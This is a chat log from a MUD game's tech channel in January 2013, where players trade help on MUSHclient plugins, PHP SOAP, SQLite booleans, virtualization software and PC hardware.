T3/r7/2013-01-29.txt.gz:{chan ch=tech}Cenanin Tech: can someone give me a script to make global quest announcements for my level range to go to a different window....or the communication window?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: I still recieve all these messages on the main one. 
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: I right click then what
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ixle Tech: sec I don't use mushclient but i'll boot it up to check for you
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Thank you!
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ixle Tech: right click in comm log -> echo channels -> customize echo list
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: who wants to play poker?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Cizra killbans Arikhan.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Ill take that as a yes
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Who's up for strip poker
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Cizra juggles three Arikhan's channel rights. Oops, dropped one.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Should there a specific speed of my internet connection so I can play WoW
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vakieh Tech: Nothing is fast enough to outrun it eating your soul
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: lol. huh?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Aldeas Tech: He's being classy without screaming DONT DO IT!
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Please help. Don't worry. Im not that easily addicted
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Riddim Tech: If you don't do PvP, you won't suffer horribly from a slower connection.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: So any speed is good or what?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: The patches are big, if you don't really mind it taking a bit for patches to download, you don't need a massively fast connection
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: 3-6 megs would probably be good, you might lag up a little in raids, but nothing that's gonna get you killed.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: And the install itself is huuuuge.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: What is a patch? 
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Update
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: How big is the game? Should I buy the game on cd or download it?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Updates for?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: game balance, content, etc
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: And the thing is, the game installs all of the expansions, whether you have them or not, so if you get just the base game on disc, it's gonna take ages to patch and update, but if you buy it all at once and install them off disc, it may not be as much to download.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Then again you can buy keys online and download it all offline, with no physical medium (what I did)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: If you don't have data caps, I'd say buy it online, once you register the keys, they're attached to your account, so as long as you don't forget your login info, you have it forever.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Meaning DON'T FORGET YOUR LOGIN INFO
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Where do I buy the keys and download it(offline). Send the link please
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Can't download it offline, that makes no sense, but uh... let me look.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: slap
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Sometimes you can find it on sale, best bet is to just buy straight from the blizzard site.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Cizra Tech: Don't say, let me guess! I guess... I guess the next request by Arikhan is for Noodlez to finance buying it!
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Arikhan seems to be waving at flies.  What's he up to?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: You in America?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: South Africa
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Ok hold on
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Trying to see which store you should buy from. They have North American ones, Europe, and Japan
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: I don't think it really matters, you'll just have to find a good server for you, with good latency.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Is there any Mmorpg just like WoW but free to play or doesnt need you to download patches.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Riddim Tech: No.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Riddim Tech: MMOs, by nature, will need to push content to you. They will all be patched.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Any online game is gonna have a lot of patches pretty regularly, but there are plenty of free ones.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Which ones are free?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Riddim Tech: Look on Google
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: One off the top of my head is called Runes of Magic
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Riddim Tech: you can type in "free mmorpgs" and get 100s of results
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: http://www.mmobomb.com/top-10-free-mmorpg
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Cizra Tech: Aardwolf is a free MMORPG :-)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Aard is holding my attention pretty well. :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Noodlez Tech: Heading to bed, do your reading and find something that intrests you.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: Thanks!!!
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arikhan Tech: quit
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ninjato Tech: I keep getting a runtime error in bast sharptracker anyone able to help me with it?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is anyone considering openstack to replace vmware?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: can you use lua table in a trigger pattern
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vakieh Tech: Elaborate?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Cizra Tech: No, but you can create triggers dynamically.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: I want a combination of 2 tables
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: but not sure what's best way to distinguish between the two in the pattern
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: something like (a1|a2|a3) (b1|b2|b3)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: so it needs to be (table1) (table2)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: it could be something like ^asd (.*?) (.*?)$
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: but it doesn't seem like it'd be efficient
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mushambo Tech: Hmmm I was about to ask how to install ndiswrapper without an internet connection, but now I see that supposedly it's already installed, along with "mintwifi" and my Linksys inf driver...yet I still can't connect..?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bast Tech: Hey
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mendaloth Tech: HI!
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bast Tech: mis, sorry
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bloood Tech: bast, any idea why my planesmobs plugin wont work? it just says 'None' each time i search for a planes mob
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bast Tech: let me look at the code to see what None means, I will get back to you
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bloood Tech: ok thanks :D
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: if I wanted to save my aliases and totally whipe out everything else on my aard mush so I can reinstall - what is the specific file in the aard folder that holds aliases? 
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanali Celanil Tech: the world file - i suggest looking at the upgrading instructions on the aardwolf website :)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bloood Tech: you can save your aliases when you go to the aliases window in mush.. the extension is .mca
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bloood Tech: and for triggers it's .mct
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Bloood Tech: then you just load the aliases into the new mush installation the same way you saved them
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vesrai Tech: if you're using aardmush, you can export your alias' & triggers by clicking the save tab on the alias/triggers window.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Anyone have any idea why I send an object in PHP of type CreateUser to a SOAP server (php/apache lamp) when the server see's what I've sent it's no longer a CreateUser type object but instead a stdClass object?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Somewhere between $client->__soapCall('CreateUser', $creatUser) and when it's seen by my function CreateUser($mixed = null) function, it has lost reference to it's object type.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: try printing something from your object just before you make the call and one immediately right after you did (the returned object) .
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: run an assert to see
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I printed out the object prior to sending, it's a CreateUser object with the 1st parameter being a string, the second being a CreateUserType object (as it was defined) but when I do a log from the server, the first instance of the object is a stdClass instead of a CreateUser.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Here's where there's some more detailed info: http://tinyurl.com/b5hpz5q. If you can answer in 20 minutes I'll gladly award you the bounty :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: i'll try
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: take a look at http://php.net/manual/en/soapclient.dorequest.php . Do you have subclasses that is overwriting? if not i would suggest going for 1d array. 2d can screw up pretty easily. i dont see why the array is not parsed the way it shd be. but take a look. i dont need reputation :/
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Unfortunately a 2d array is required
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: it is part of the requirement or can u share what u are trying to pass here and we see if there's an alternative to it
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: The soap items being transmitted back and forth are complextypes, so they have to be multidimensional arrays
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech Bloke Danj Tech: hmm, I notice Microsoft does MCP-branded merchandise nowadays, is it worth purchasing any of that to try and impress at interviews? like the MCP branded A4 zipped portfolio for example
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Jaenelle Tech: Hmmm... I've not heard any of it before. Then again, the 'impress others' people here tend to go apple. P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: in gsub
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: if the search string has some symbols, how do I tell it's a literal string
T3/r7/2013-01-29.txt.gz:{chan ch=tech}TrEz Tech: so shouldn't be used as a regex or whatever
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Santher Tech: mush on usb stick ftw :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Santher Tech: mis
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Massacrer Macbeth nods at Santher.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone play marvel war of heros?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Book of Etzli points to Gametalk.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Doc Holliday Tech: i forgot about that channel :) my bad
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Wasn't meaning anything other than you'll probably get more answers there. ;)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Doc Holliday Tech: yea but that was about as bad of me as using tech for gossip lol
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mendaloth Tech: Sqlite really doesn't have a bool datatype?  Have to set 0 1 as integers?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: I use TINYINT(1).
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mendaloth Tech: Yeah apparently as soon as any type of int is read from disk into memory it's automatically converted into an 8-byte signed integer so really no point...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Why not use NULL?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mendaloth Tech: Just going to have to remember 0 is true, 1 is false? Or wail 1 is true, 0 is false?  That is my problem!  I think it's generally understood any non-zero is true right?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger nods.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Xaeris Tech: Yeah - 1 is on, ie true.  0 is off, ie off.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well, except in Obj-C :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Straeldryn Tech: except in unix exit codes
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mendaloth Tech: haha
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mendaloth Tech: what is it in Obj C?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: 1 is always true for me. if you look at the truth table.. it is always written this way. 1/T, 0/F
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: yes/TRUE/0 no/FALSE/1
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: err no, it is yes/true/1 no/false/0. It's been a long day :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Straeldryn Tech: macbeth in unix shell scripts exit code 0 is success, so "if cmd" evals true if cmd exits with 0
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: are there any other instances where 0 is success?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Zetkax Tech: when using strcmp it returns 0 when you have a match
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Zetkax Tech: um no
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Zetkax Tech: if you want to think of a match as success i guess thats another example
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Massacrer Macbeth Tech: honestly that is interesting. i havent encounter 0/success. 
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: That's because it's pretty standard to assume 1=yes, 0=no. Some people just like to be weird :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Straeldryn Tech: i assume with unix progs it's because they wanted to use different non-zero values to indicate reasons for failure
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Well yeah, I meant on the matching :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vakieh Tech: Microsoft's 64GB Surface Pro will only have 23GB usable storage
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vakieh Tech: DAMMIT. I was hoping to get one of these to replace my iPad. Oh well, suppose I'll go with a Galaxy tab.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Fatal FrostBite Tech: You don't like the iPad?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: that much? for Microserf to not totally consume all resources on install... Have they learned?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vakieh Tech: the iPad was great when it first came out, but it is seriously lagging atm
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i like my galaxy tab
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have any opinion of solarwinds dameware remote connection software?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: and do you speak on behalf of the trees?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well ok then :)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}El Gringo Asterax Tech: What is the command to receive time between pups outputted onto a group channel? statmn set... ?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: I'll bet bast's wiki page on the plugin sez
T3/r7/2013-01-29.txt.gz:{chan ch=tech}El Gringo Asterax Tech: I'm looking on it right now, but maybe I'm not on the right section
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: between the statmn set and the bottom Variables section...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: so statmn set questchan <where you want it to go>
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: you can have different stuff go to different channels, and commlog injects it into the comms window but not sent to the MUD/other players
T3/r7/2013-01-29.txt.gz:{chan ch=tech}El Gringo Asterax Tech: right. but wouldn't i want statmn set levelchan if i want pup info?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}El Gringo Asterax Tech: not quest info
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: right...so in that variables sectcion that I just pointed out...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: look at where it says level/pup results...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: it's the very next line to the questchan, and the one that'd make sense
T3/r7/2013-01-29.txt.gz:{chan ch=tech}El Gringo Asterax Tech: got it - and statmn set levelchan OFF to turn it off?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: dunno that you'd ever really want it off rather than just commlog...can try it
T3/r7/2013-01-29.txt.gz:{chan ch=tech}El Gringo Asterax Tech: gotcha. thanks for explaining this. i do see this section, but with some basic guidance it mor eclear.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Thunderax Tech: anyone here use bast's eqSets plugin?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Sneak Tech: anyone knows how to install MUSH on a Mac via WineBottler?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: don't need winebottler, just use wine
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: http://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Sneak Tech: Hmm
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Sneak Tech: there is that, but I think WineBottler can make it packaged nicely
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: winebottler is more for packaging stuff...as an enduser it's more bloated really, since you're essentially having a whole wine instance per application
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Sneak Tech: I see
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: so yes, it's a bit slicker as it makes the whole thing appear to be native...but it's just running wine anyway
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Sneak Tech: I see.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: today Chrome told me that it won't update itself because Fedora 14 is obsolete, with a handy link to this page: http://support.google.com/chrome/bin/answer.py?hl=en&answer=95411
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: Heh, I still have some machines running fedora 7 at work.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Warren would roll in his grave if he were dead and didn't hate Fedora now.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: Fedora sucks anyways, so time to get rid of it. Imho, of course.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The guy who created it agrees with you.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: which is why he left
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: Fiendish you worked on fedora?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: No, but a friend of mine started it.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: neat
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: I'd say eric would be the guy that created it
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: err marc, sorry
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The fedora project was started by Warren Togami
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: heh, I consider the history to go back much further
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: with the new changes coming to openstack, does anyone feel like it's worth displacing the cost of vmware?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: all the big IT vendors will be working on the code though
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: why not?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: oddly enough, the same answer I gave you earlier...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: so why not?  carrer risk to the IT dept if it screws up?  too integrated?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: dunno why you'd think it would be a replacement...95% of what people use vmware for, openstack doesn't do
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: openstack is more like cpanel
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arnica Tech: Jumping off VMWare now would be like ditching a big wave on the North Shore to surf in Orange County
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: is openstack a virtualization platform? Doesn't look like it.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: no, it's not
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: it's a deployment/management platform
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: it has no hypervisor capabilities
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: openstack is for people who want to make their own beowulf clusters at home
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: hence it's more like cpanel
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: right
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: it lets you provision, but you'll still need the hypervisor separately
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: so, if you wanted to replace vmware with a open source solution, you would go for e.g. xen (which sucks compared to vmware, btw)
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: so might as well go to an already-established combination, xen, cpanel, vmware, etc
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: Wow, abe, we almost agree on a tech topic :D
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: as far as virtualization goes, you can run vmware hypervisor for free as well
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: oddly enough, there's less hardware restriction on the free hypervisor than there is on the paid one
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: thank you, very helpful
T3/r7/2013-01-29.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i lost the window of bast mini spellup window, i checked everywhere on screen and even reinstalled, removed and add the plugin, i even typed mspell spellup front/show so any idea where and how i can get it back?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: and what if openstack does hypervisor in 6 months
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: try bsp show
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: is the savings enough to change?  VMW is expensive!
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: what's mspell? bsp should be bast spellup
T3/r7/2013-01-29.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: npe
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: free isn't expensive
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: I run production vmware hypervisor on a number of machines for free
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: has anyone actually tried Win8?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: It is godly on tablets, but on pcs....total shit
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: what makes it so great on tabs
T3/r7/2013-01-29.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: watch the language...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: nope.  In an exclusive deal with major retailers, Microsoft has successfully made Win8 a display-item-only OS...
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: here's your sign! :P
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: it is just really easy to use, good interface I really can not understand why it was released on desktops/laptops.  It might be ok with a touchscreen but it just does not cut it.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: Easy to use on tablets*
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: it was moreorless designed with tablets in mind, as the pc/laptop market is dying off and/or being sabotaged by hardware entities like Intel and software companies like Microsoft.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arnica Tech: On a PC, and sticking with the old desktop, it seems pretty reasonable. Worth $40.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: how would you say intel is sabotaging their market??
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: I had windows 8 on my desktop...now it is gone, hate it, however on my Asus virotab it is great, comparable to my eee
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: I can still deposit converted trains
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: starting in 2014, there will no longer be any Intel CPU chips that use the socket-based architecture that allows for easy upgrade.  If you want a new CPU from them, you will either buy a mobo-processor package or you will break out the soldering tools to remove the old cpu and attach the new one.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: mis
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: I would hate having a mobo-processor combo....
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: I have never upgraded a CPU on a computer in my life. I just buy a new computer if I need more speed. Then again, I am not a gamer. Terminal windows don't require a lot of cpu.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: unless you're a gamer, is there even an upgrade cycle to PCs anymore??
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: I do play other games, that have graphics, for most end users a new computer is plenty.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Redryn Tech: http://arstechnica.com/gadgets/2012/12/intel-reaffirms-support-for-socketed-cpus-for-the-forseeable-future/
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: oh, guess they chickened out.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Redryn Tech: i upgrade my pc when parts fail :/
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: I do when I can not play most games from that year on at least high
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: which parts usually die first?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: disk drives and peripherals, usually.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: yep
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: occasionally motherboards/cpus
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Mokg Tech: even my 15 year old IDE hard drives still work.. motherboards however have come and gone quite often
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: I haven't had one die yet
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Redryn Tech: i've had hd's/PSU fail most frequently
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Twaddle Tech: did you guys see that a scientist was able to control heat conduction through crystals laced w/ /cadmium?
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: I have killed a CPU 2 hard drives and a disk drive
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: never had a PSU die, still useing an old one from 2003~
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Tech: wife's hyundai 425SLC laptop still works, my MacSE still works, the NIC died on my AlphaStation, but it's still processing
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Hanslanda Tech: cpus/mobos don't really "wear" out, though.  Usually they bite the big one because an installation mistake damaged them or introduced conditions that cause damage.  For example, installing a liquid-cooling system sounds simple enough but tighten down the screw too much and you crack the plug, letting the liquid drip on the electronics.
T3/r7/2013-01-29.txt.gz:{chan ch=tech}GreenAcid Tech: ugh don't get me started on my luck with NIC's seems like it dies every other month
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Arnica Tech: My PowerPC Mac Mini hard drive went last month RIP
T3/r7/2013-01-29.txt.gz:{chan ch=tech}Ranrr Tech: If HW dies on you, you need to get some ESD protection gear.
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Twaddle Tech: thanks techs
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the crystals thing sounds cool
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Thunderax Tech: is there an easy way to auto-save mush? it just crashed and i lost the last hours changes i made to my eq swapping aliases
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Tech: yup, quite trivial to do
T3/r7/2013-01-30.txt.gz:{chan ch=tech}Nunedreek Tech: How do I get spell check working with mushclient?
